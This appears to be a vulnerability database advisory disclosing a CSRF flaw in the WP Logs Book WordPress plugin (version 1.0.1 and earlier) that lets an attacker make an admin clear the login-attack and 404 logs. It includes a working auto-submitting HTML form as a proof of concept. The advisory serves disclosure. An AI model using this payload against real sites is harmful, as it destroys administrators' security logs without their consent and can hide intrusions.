WordPress Plugin Vulnerabilities
WP Logs Book <= 1.0.1 - Log Clearing via CSRF
Description
The plugin does not have CSRF check when clearing logs, which could allow attackers to make a logged in admin clear the logs them via a CSRF attack
Proof of Concept
Make an admin open an HTML file containing: ``` <body onload="document.forms[0].submit()"> <form action="https://wps-test.ddev.site/wp-admin/admin.php?page=wp-logs-book/login_attack_log" method="POST"> <input name="clear_log" type="text" value="Clear log"> <input type="submit" value="submit"> </form> </body> ``` Note: The 404 Error Logs can also be cleared by modifying the PoC
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
Miscellaneous
Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-05-31 (about 30 days ago)
Added
2024-05-31 (about 29 days ago)
Last Updated
2024-05-31 (about 29 days ago)